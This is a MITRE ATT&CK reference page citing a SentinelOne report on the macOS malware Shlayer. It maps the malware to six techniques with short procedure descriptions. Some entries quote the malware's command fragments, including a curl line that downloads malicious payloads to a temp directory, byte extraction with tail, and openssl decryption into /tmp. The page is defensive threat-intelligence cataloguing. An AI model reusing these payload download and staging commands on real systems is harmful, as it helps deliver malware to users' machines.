ATT&CK Referencessentinelone shlayer to zshlayer

sentinelone shlayer to zshlayer

Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021.

Open the source

Techniques0

Not cited by any technique.

Groups0

None recorded.

Software0

None recorded.

Campaigns0

None recorded.

Procedure examples6

Technique	Used by	Procedure example
T1059.004 Unix Shell	MalwareOSX/Shlayer	OSX/Shlayer can use bash scripts to check the macOS version, download payloads, and extract bytes from files. OSX/Shlayer uses the command `sh -c tail -c +1381...` to extract bytes at an offset from a specified file. OSX/Shlayer uses the `curl -fsL "$url" >$tmp_path` command to download malicious payloads into a temporary directory. 20 macOS Common Tools and Techniques Carbon Black Shlayer Feb 2019 objectivesee osx.shlayer apple approved 2020 sentinelone shlayer to zshlayer
T1082 System Information Discovery	MalwareOSX/Shlayer	OSX/Shlayer has collected the IOPlatformUUID, session UID, and the OS version using the command `sw_vers -productVersion`. Carbon Black Shlayer Feb 2019 sentinelone shlayer to zshlayer
T1083 File and Directory Discovery	MalwareOSX/Shlayer	OSX/Shlayer has used the command `appDir="$(dirname $(dirname "$currentDir"))"` and `$(dirname "$(pwd -P)")` to construct installation paths. 20 macOS Common Tools and Techniques sentinelone shlayer to zshlayer
T1105 Ingress Tool Transfer	MalwareOSX/Shlayer	OSX/Shlayer can download payloads, and extract bytes from files. OSX/Shlayer uses the `curl -fsL "$url" >$tmp_path` command to download malicious payloads into a temporary directory. 20 macOS Common Tools and Techniques Carbon Black Shlayer Feb 2019 objectivesee osx.shlayer apple approved 2020 sentinelone shlayer to zshlayer
T1140 Deobfuscate/Decode Files or Information	MalwareOSX/Shlayer	OSX/Shlayer can base64-decode and AES-decrypt downloaded payloads. Versions of OSX/Shlayer pass encrypted and password-protected code to `openssl` and then write the payload to the `/tmp` folder. 20 macOS Common Tools and Techniques Carbon Black Shlayer Feb 2019 sentinelone shlayer to zshlayer
T1564 Hide Artifacts	MalwareOSX/Shlayer	OSX/Shlayer has used the `mktemp` utility to make random and unique filenames for payloads, such as `export tmpDir="$(mktemp -d /tmp/XXXXXXXXXXXX)"` or `mktemp -t Installer`. 20 macOS Common Tools and Techniques Shlayer jamf gatekeeper bypass 2021 sentinelone shlayer to zshlayer

Data from MITRE ATT&CK® (Enterprise). ATT&CK® is a registered trademark of The MITRE Corporation.